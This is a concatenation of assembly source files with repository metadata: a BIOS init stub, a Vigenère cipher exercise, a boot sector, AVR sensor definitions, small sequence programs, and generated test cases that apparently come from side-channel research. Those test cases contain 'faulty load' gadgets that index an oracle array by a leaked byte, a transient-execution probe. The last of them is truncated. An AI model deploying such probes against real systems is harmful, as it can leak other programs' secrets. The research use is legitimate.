ret
| 14.32
| 63
| 0.625698
|
29309656e04a24e692bdfdb6884827f51af2fb44
| 2,233
|
asm
|
Assembly
|
guest/s2ebios/init.asm
|
sebastianpoeplau/s2e
|
995cac6126e7d80337e8c4a72bfa9a87eea7eb68
|
[
"MIT"
] | 55
|
2019-12-20T03:25:14.000Z
|
2022-01-16T07:19:47.000Z
|
guest/s2ebios/init.asm
|
Moirai7/s2e
|
5a321f76d1a862c3898b9d24de621109b0c12b7d
|
[
"MIT"
] | 2
|
2020-11-02T08:01:00.000Z
|
2022-03-27T02:59:18.000Z
|
guest/s2ebios/init.asm
|
Moirai7/s2e
|
5a321f76d1a862c3898b9d24de621109b0c12b7d
|
[
"MIT"
] | 11
|
2020-08-06T03:59:45.000Z
|
2022-02-25T02:31:59.000Z
|
; S2E Selective Symbolic Execution Platform
;
; Copyright (c) 2013 Dependable Systems Laboratory, EPFL
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
[bits 16]
;Quick and dirty pmode init
%define SEGMENT_COUNT 3
%define OSDATA32_SEL 0x08
%define OSCODE32_SEL 0x10
pm_nullseg:
dd 0
dd 0
pm_dataseg:
dw 0xFFFF ;Seg limit
dw 0x0000 ;Base
db 0x0 ;base
db 0x80 + 0x10 + 2 ;Present+code or data + RW data
db 0x80 + 0x40 + 0xF; Granularity+32bits + limit
db 0
pm_codeseg:
dw 0xFFFF ;Seg limit
dw 0 ;Base
db 0x0 ;base
db 0x80 + 0x10 + 10 ;Present+code or data + Exec/RO
db 0x80 + 0x40 + 0xF; Granularity+32bits + limit
db 0
;GDTR value
pm_gdtr:
dw 0x8*SEGMENT_COUNT
pm_gdtraddr dd 0xF0000 + pm_nullseg
init_pmode:
cli
lgdt [pm_gdtr]
mov eax, cr0
or eax, 1
mov cr0, eax
db 66h
db 67h
db 0xEA
dd init_pmode2+0xf0000
dw OSCODE32_SEL
hlt
[bits 32]
init_pmode2:
mov eax, OSDATA32_SEL
mov ds, ax
mov es, ax
mov ss, ax
mov esp, 0x80000
mov eax, 0xe0000
call eax
cli
hlt
| 25.965116
| 80
| 0.67622
|
7d1dd651299a94f0f7f9fca1983ab01cf4b6c3b5
| 2,822
|
asm
|
Assembly
|
IOCLA - .asm/IOCLA_H2_Strings/vigenere.asm
|
vioo-bkp/Projects-Year-2-University
|
c2d9b177efb88b427cdc16350aa11082946cb856
|
[
"MIT"
] | null | null | null |
IOCLA - .asm/IOCLA_H2_Strings/vigenere.asm
|
vioo-bkp/Projects-Year-2-University
|
c2d9b177efb88b427cdc16350aa11082946cb856
|
[
"MIT"
] | null | null | null |
IOCLA - .asm/IOCLA_H2_Strings/vigenere.asm
|
vioo-bkp/Projects-Year-2-University
|
c2d9b177efb88b427cdc16350aa11082946cb856
|
[
"MIT"
] | null | null | null |
%include "io.mac"
section .data
key_len dd 0
plaintext_len dd 0
temp db 0
section .text
global vigenere
extern printf
vigenere:
;; DO NOT MODIFY
push ebp
mov ebp, esp
pusha
mov edx, [ebp + 8] ; ciphertext
mov esi, [ebp + 12] ; plaintext
mov ecx, [ebp + 16] ; plaintext_len
mov edi, [ebp + 20] ; key
mov ebx, [ebp + 24] ; key_len
;; DO NOT MODIFY
; Keep lengths of plain text and key for later.
mov dword[key_len], ebx
mov dword[plaintext_len], ecx
; Reduce the key's characters values to the range [0, 25] by subtracting 'A'
; from each one.
convert_key:
sub byte [edi + ebx - 1], 'A'
dec ebx
cmp ebx, 0x0
jne convert_key
; Clear the registers.
xor ecx, ecx
xor ebx, ebx
; Do for each character from the plain text.
vigenere_cipher:
xor eax, eax
; Move a character from the plaintext to al.
mov al, byte [esi + ecx]
; Check if the character is uppercase, lowercase or neither.
; If it's lowercase or uppercase => It has to be encrypted.
; Else leave it alone.
cmp al, 'A'
jl next_char
cmp al, 'Z'
jle uppercase
cmp al, 'a'
jl next_char
cmp al, 'z'
jg next_char
; If the character is lowercase/uppercase we'll push 'a'/'A' to stack and
; we'll use it later in the encryption process as a base value.
lowercase:
sub al, 'a'
push 'a'
jmp encrypt
uppercase:
sub al, 'A'
push 'A'
; The encryption formula: (reduced_character + reduced_character_in_key) mod 26.
; Considering 'a', 'A' = 0; 'b', 'B' = 1 etc.
; Encrypt the letter.
encrypt:
; Add to the character from al its corresponding character from the key.
add al, byte [edi + ebx]
; Move 26 to ebx and do the encryption using the formula.
mov byte [temp], 'z' - 'a' + 1
div byte [temp]
mov [temp], ah
; Move the value we pushed on stack earlier, the base value
; ('A'/'a' for uppercase/lowercase) to eax and add the remainder from the
; divion we did above to it.
xor eax, eax
pop eax
add al, [temp]
; Increment the character index for key.
inc ebx
jmp next_char
; Set the character index for key to 0.
reset_key:
xor ebx, ebx
next_char:
; Check if the character index for key is bigger than key's length and
; reset it if necessary.
cmp dword[key_len], ebx
je reset_key
; Move the character from al to its corresponding position in ciphertext
; (edx + ecx).
mov byte [edx + ecx], al
inc ecx
; Check if the character index for plain text is bigger than text's length.
cmp dword[plaintext_len], ecx
jne vigenere_cipher
;; DO NOT MODIFY
popa
leave
ret
;; DO NOT MODIFY
| 23.322314
| 80
| 0.617647
|
3419de46f0e63ad662d915dfa10f7474940ab0fb
| 3,996
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1459.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1459.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1459.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rax
push %rbp
// Store
lea addresses_WC+0x3494, %r9
nop
nop
nop
add %r10, %r10
mov $0x5152535455565758, %rbp
movq %rbp, %xmm4
vmovups %ymm4, (%r9)
nop
nop
nop
nop
and %rax, %rax
// Faulty Load
lea addresses_UC+0x9814, %r13
nop
xor $22902, %r14
movb (%r13), %r11b
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 67.728814
| 2,999
| 0.662162
|
2f59e9a5143b7e5515738fa3080dd2873bf504e7
| 386
|
asm
|
Assembly
|
content/blog/code-os-0000/source.asm
|
anonimato404/himself65.github.io
|
15dccf34d0da8cf7a043891940fb99c6a4d6ccc2
|
[
"MIT"
] | null | null | null |
content/blog/code-os-0000/source.asm
|
anonimato404/himself65.github.io
|
15dccf34d0da8cf7a043891940fb99c6a4d6ccc2
|
[
"MIT"
] | null | null | null |
content/blog/code-os-0000/source.asm
|
anonimato404/himself65.github.io
|
15dccf34d0da8cf7a043891940fb99c6a4d6ccc2
|
[
"MIT"
] | 1
|
2021-12-05T12:22:53.000Z
|
2021-12-05T12:22:53.000Z
|
bits 16 ; 16位编译
org 0x7c00 ; 从0x7c00是起始地址
boot:
mov si, hello ; hello的地址传给si寄存器(Source Index Register)
mov ah, 0x0e ;
.loop:
lodsb ;
or al, al ;
jz halt ;
int 0x10 ;
jmp .loop ;
halt:
cli ;
hlt ;
hello: db "Hello, world!", 0
times 510 - ($ - $$) db 0
dw 0xAA55 ; Magic Number
| 20.315789
| 60
| 0.471503
|
efe3d106f2f0a90f2b50d7714f0c3f93d736c3cb
| 2,571
|
asm
|
Assembly
|
src/kernel/drivers/io/sensors/am2302_def.asm
|
rostislav-nikitin/socOS
|
75e3bbaa16086df5dd1a476ee86052b3073ce075
|
[
"MIT"
] | 1
|
2020-07-29T12:30:42.000Z
|
2020-07-29T12:30:42.000Z
|
src/kernel/drivers/io/sensors/am2302_def.asm
|
rostislav-nikitin/socOS
|
75e3bbaa16086df5dd1a476ee86052b3073ce075
|
[
"MIT"
] | null | null | null |
src/kernel/drivers/io/sensors/am2302_def.asm
|
rostislav-nikitin/socOS
|
75e3bbaa16086df5dd1a476ee86052b3073ce075
|
[
"MIT"
] | null | null | null |
;=======================================================================================================================
; ;
; Name: socOS (System On Chip Operation System) ;
; Year: 2020 ;
; License: MIT License ;
; ;
;=======================================================================================================================
; Require:
;.include "m8def.inc"
;.include "kernel/kernel_def.asm"
;.include "kernel/drivers/device_def.asm"
;.include "kernel/drivers/io/device_io_def.asm"
; stuct st_am2302_data size
.equ SZ_ST_AM2302_DATA = 0x05
; st_am2302 size
.equ SZ_ST_AM2302 = SZ_ST_DEVICE_IO + 0x02 + SZ_ST_AM2302_DATA + 0x02
; st_am2302:st_device_io inherited members
.equ ST_AM2302_DDRX_ADDRESS_OFFSET = ST_DEVICE_IO_DDRX_ADDRESS_OFFSET
.equ ST_AM2302_PINX_ADDRESS_OFFSET = ST_DEVICE_IO_PINX_ADDRESS_OFFSET
.equ ST_AM2302_PORTX_ADDRESS_OFFSET = ST_DEVICE_IO_PORTX_ADDRESS_OFFSET
.equ ST_AM2302_USED_BIT_MASK_OFFSET = ST_DEVICE_IO_USED_BIT_MASK_OFFSET
.equ ST_AM2302_TYPE_BIT_MASK_OFFSET = ST_DEVICE_IO_TYPE_BIT_MASK_OFFSET
.equ ST_AM2302_STATE = SZ_ST_DEVICE_IO
.equ ST_AM2302_RESULT_STATE = SZ_ST_DEVICE_IO + 0x01
;; st_am2302 new members
.equ ST_AM2302_DATA = SZ_ST_DEVICE_IO + 0x02
.equ ST_AM2302_DATA_HUMIDITY_HIGH = SZ_ST_DEVICE_IO + 0x02
.equ ST_AM2302_DATA_HUMIDITY_LOW = SZ_ST_DEVICE_IO + 0x03
.equ ST_AM2302_DATA_TEMPERATURE_HIGH = SZ_ST_DEVICE_IO + 0x04
.equ ST_AM2302_DATA_TEMPERATURE_LOW = SZ_ST_DEVICE_IO + 0x05
.equ ST_AM2302_DATA_CHECKSUM = SZ_ST_DEVICE_IO + 0x06
.equ ST_AM2302_ON_COMPLETED_HANDLER = SZ_ST_DEVICE_IO + 0x02 + SZ_ST_AM2302_DATA
; enum ST_AM2302_STATE
.equ ST_AM2302_STATE_NOT_STARTED = 0x01
.equ ST_AM2302_STATE_IN_PROGRESS = 0x02
.equ ST_AM2302_STATE_COMPLETED = 0x03
;enum ST_AM2302_RESULT_STATE
.equ ST_AM2302_RESULT_STATE_OK = 0x00
.equ ST_AM2302_RESULT_STATE_ERROR_INIT_RESPONSE_LOW_REQUIRED = 0x01
.equ ST_AM2302_RESULT_STATE_ERROR_INIT_RESPONSE_HIGH_REQUIRED = 0x02
.equ ST_AM2302_RESULT_STATE_ERROR_DATA_TIMEOUT = 0x03
.equ ST_AM2302_RESULT_STATE_ERROR_DATA_CHECKSUM = 0x04
| 53.5625
| 120
| 0.586153
|
25bf66623e4576f9537b845ea06cf2204c33b642
| 1,247
|
asm
|
Assembly
|
util/cv/dtmrt.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
util/cv/dtmrt.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
util/cv/dtmrt.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; Convert date and time to real time V0.00 1993 Tony Tebby
section cv
xdef cv_dtmrt
xref cv_mnths
;+++
; Convert date and time to real time
;
; d1 r real time
; a1 c p pointer to date and time
;
; status return 0
;---
cv_dtmrt
move.w (a1)+,d1
sub.w #1961,d1 ; year since 1961
moveq #0,d0
move.w d1,d0 ; keep it
mulu #365,d1 ; day
ror.l #2,d0 ; leap year counter and year in cycle
add.w d0,d1 ; + corrector for leap year
clr.w d0
move.b (a1)+,d0 ; month
add.w d0,d0
add.w cv_mnths-2(pc,d0.w),d1
cmp.l #$c0000004,d0 ; January / February in third year?
bhi.s drt_nleep ; ... no
subq.w #1,d1 ; yes, we've gone too far
drt_nleep
moveq #0,d0
move.b (a1)+,d0
add.w d0,d1 ; + day
move.w d1,-(sp)
addq.l #1,a1 ; skip day of week
; the day is done, now the time
move.b (a1)+,d0
moveq #60,d1
mulu d0,d1 ; hours * 60
move.b (a1)+,d0
add.w d0,d1 ; hours * 60 + minutes
mulu #60,d1 ; hours * 3600 + minutes * 60
move.b (a1)+,d0
add.l d0,d1 ; ........................ + seconds
move.w (sp)+,d0 ; recover day number
mulu #24*60*60/2,d0 ; day in 2 second units
add.l d0,d0 ; day in seconds
add.l d0,d1
subq.l #8,a1 ; restore a1
moveq #0,d0
drt_rts
rts
end
| 19.793651
| 64
| 0.597434
|
ef70b1deb942cbb3a8f5e7f87c78dc0078268692
| 150
|
asm
|
Assembly
|
src/bin/cpu-visualizer/asm/logical-operators.asm
|
gregtatum/cpu-6502-rs
|
054ad0441c71b11c1e4f50dfb21a48d2d09595b6
|
[
"MIT"
] | null | null | null |
src/bin/cpu-visualizer/asm/logical-operators.asm
|
gregtatum/cpu-6502-rs
|
054ad0441c71b11c1e4f50dfb21a48d2d09595b6
|
[
"MIT"
] | null | null | null |
src/bin/cpu-visualizer/asm/logical-operators.asm
|
gregtatum/cpu-6502-rs
|
054ad0441c71b11c1e4f50dfb21a48d2d09595b6
|
[
"MIT"
] | null | null | null |
logical_operators_and:
lda #%11110000
and #%10101010
sta $00,x
inx
logical_operators_or:
lda #%11110000
ora #%10101010
sta $00,x
inx
| 12.5
| 22
| 0.686667
|
73fbd135bd3b92e2bbd74a7bffc6bf3a16ea5fc6
| 290
|
asm
|
Assembly
|
programs/oeis/158/A158411.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/158/A158411.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/158/A158411.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A158411: Maximum number of colors required to paint a map having n regions.
; 0,1,2,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4
min $0,4
| 58
| 201
| 0.572414
|
d4e15f1baa23b40e0734b939a274d3ad48cfc076
| 60
|
asm
|
Assembly
|
gfx/pokemon/hoppip/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
gfx/pokemon/hoppip/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
gfx/pokemon/hoppip/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
setrepeat 3
frame 1, 10
frame 2, 10
dorepeat 1
endanim
| 10
| 12
| 0.7
|
fa3e8a2f1f1c2215e4a4d42c3afeb7aa140788ba
| 187
|
asm
|
Assembly
|
data/pokemon/location_evolution.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
data/pokemon/location_evolution.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/location_evolution.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 3
|
2021-01-15T18:45:40.000Z
|
2021-10-16T03:35:27.000Z
|
LocationEvolutionTable:
dw .moss_rock
dw .ice_rock
dw .magnet_field
.moss_rock
db ILEX_FOREST
db ROUTE_2
db -1
.ice_rock
db ICE_PATH
db -1
.magnet_field
db POWER_PLANT
db -1
| 10.388889
| 23
| 0.748663
|
20fc4697c3c97689e7f5d5f8a88b34fae992bf24
| 871
|
asm
|
Assembly
|
CpuA32/TestData/argv.asm
|
robertmuth/Cwerg
|
fdf30b06c93b4620c0a45b448b6d92acb81c35f0
|
[
"Apache-2.0"
] | 171
|
2020-01-30T16:58:07.000Z
|
2022-03-27T22:12:17.000Z
|
CpuA32/TestData/argv.asm
|
robertmuth/Cwerg
|
fdf30b06c93b4620c0a45b448b6d92acb81c35f0
|
[
"Apache-2.0"
] | 14
|
2021-05-15T02:12:09.000Z
|
2022-03-16T04:16:18.000Z
|
CpuA32/TestData/argv.asm
|
robertmuth/Cwerg
|
fdf30b06c93b4620c0a45b448b6d92acb81c35f0
|
[
"Apache-2.0"
] | 5
|
2021-03-01T20:52:13.000Z
|
2022-03-07T06:35:03.000Z
|
.mem newline 4 rodata
.data 1 "\n"
.endmem
# This is called with r0:argc r1:argv
.fun main 16
add_imm al r10 r0 0
add_imm al r11 r1 0
b al expr:jump24:argc_check
.bbl loop 4
ldr_imm_add_post al r1 r11 4
sub_imm al r10 r10 1
# strlen computation: r1 contains string r2 will contain it's length
mov_imm al r2 0
b al expr:jump24:null_check
.bbl next_byte 4
add_imm al r2 r2 1
.bbl null_check 4
ldrb_reg_add al r0 r1 r2 lsl 0
cmp_imm al r0 0
b ne expr:jump24:next_byte
# print string
mov_imm al r0 1
mov_imm al r7 4
svc al 0
# print newline
mov_imm al r2 1
movw al r1 expr:movw_abs_nc:newline:0
movt al r1 expr:movt_abs:newline:0
mov_imm al r0 1
mov_imm al r7 4
svc al 0
.bbl argc_check 4
cmp_imm al r10 0
b ne expr:jump24:loop
# exit
mov_imm al r0 0
bx al lr
.endfun
| 20.255814
| 68
| 0.668197
|
5aa8c497f85fc8b6bd84335464873fbf980c2075
| 450
|
asm
|
Assembly
|
programs/oeis/088/A088487.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/088/A088487.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/088/A088487.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A088487: a(n) = Sum_{k=1..8} floor(A254864(n,k)/A254864(n-1,k)), where A254864(n,k) = n! / (n-floor(n/3^k))!.
; 8,10,8,8,13,8,8,24,8,8,19,8,8,22,8,8,42,8,8,28,8,8,31,8,8,86,8,8,37,8,8,40,8,8,78,8,8,46,8,8,49,8,8,96,8,8,55,8,8,58,8,8,167,8,8,64,8,8,67,8,8,132,8,8,73,8,8,76,8,8,150,8,8,82,8,8,85,8,8,328,8,8,91,8,8,94,8,8,186,8,8,100,8,8,103,8,8,204,8,8
mov $2,1
add $2,$0
lpb $0
sub $0,1
mul $0,2
dif $0,3
add $1,$2
lpe
add $1,8
mov $0,$1
| 32.142857
| 242
| 0.56
|
40574e057d02f956b4ee6e90cd24e757adadd8ed
| 292
|
asm
|
Assembly
|
programs/oeis/130/A130706.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/130/A130706.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/130/A130706.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A130706: a(0) = 1, a(1) = 2, a(n) = 0 for n > 1.
; 1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
pow $0,2
mov $1,2
bin $1,$0
| 41.714286
| 211
| 0.482877
|
4cd0655e4cf6151780014ef75f74290b1a896e85
| 424
|
asm
|
Assembly
|
04/test.asm
|
Nolva/nand2tetris
|
efd0f87aa26e95888788e75605866a885231da5b
|
[
"MIT"
] | 2
|
2020-09-03T10:54:44.000Z
|
2020-09-04T03:36:43.000Z
|
04/test.asm
|
Nolva/nand2tetris
|
efd0f87aa26e95888788e75605866a885231da5b
|
[
"MIT"
] | null | null | null |
04/test.asm
|
Nolva/nand2tetris
|
efd0f87aa26e95888788e75605866a885231da5b
|
[
"MIT"
] | null | null | null |
@x // 16
M=0
@sum // 17
M=0
@numbers // [18,27]
(LOOP)
@x
D=M // D=x
@10
D=D-M // D=(x-10)
@END
D;JGE // 与伪代码符号完全相反:‘>’ => ‘≤’, if (x>=10) goto END
@numbers // array
A=M
D=M // D = *numbers
@sum
M=D+M // D = *numbers + sum
@numbers
M=M+1 // numbers++, get the next one in array
@x
M=M+1
@LOOP
0;JMP
(END)
@END
0;JMP
| 14.62069
| 56
| 0.400943
|
7d0e8db8921b4f8dc56c2ad6db47fac0b85bc8a5
| 5,119
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21_476.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21_476.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21_476.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1a28e, %rdi
nop
nop
nop
nop
cmp %r9, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm7
movups %xmm7, (%rdi)
nop
nop
cmp %r15, %r15
lea addresses_D_ht+0x1b194, %r8
nop
nop
nop
nop
nop
sub %rdx, %rdx
and $0xffffffffffffffc0, %r8
movntdqa (%r8), %xmm4
vpextrq $0, %xmm4, %rbx
nop
nop
sub %r15, %r15
lea addresses_normal_ht+0xc549, %rsi
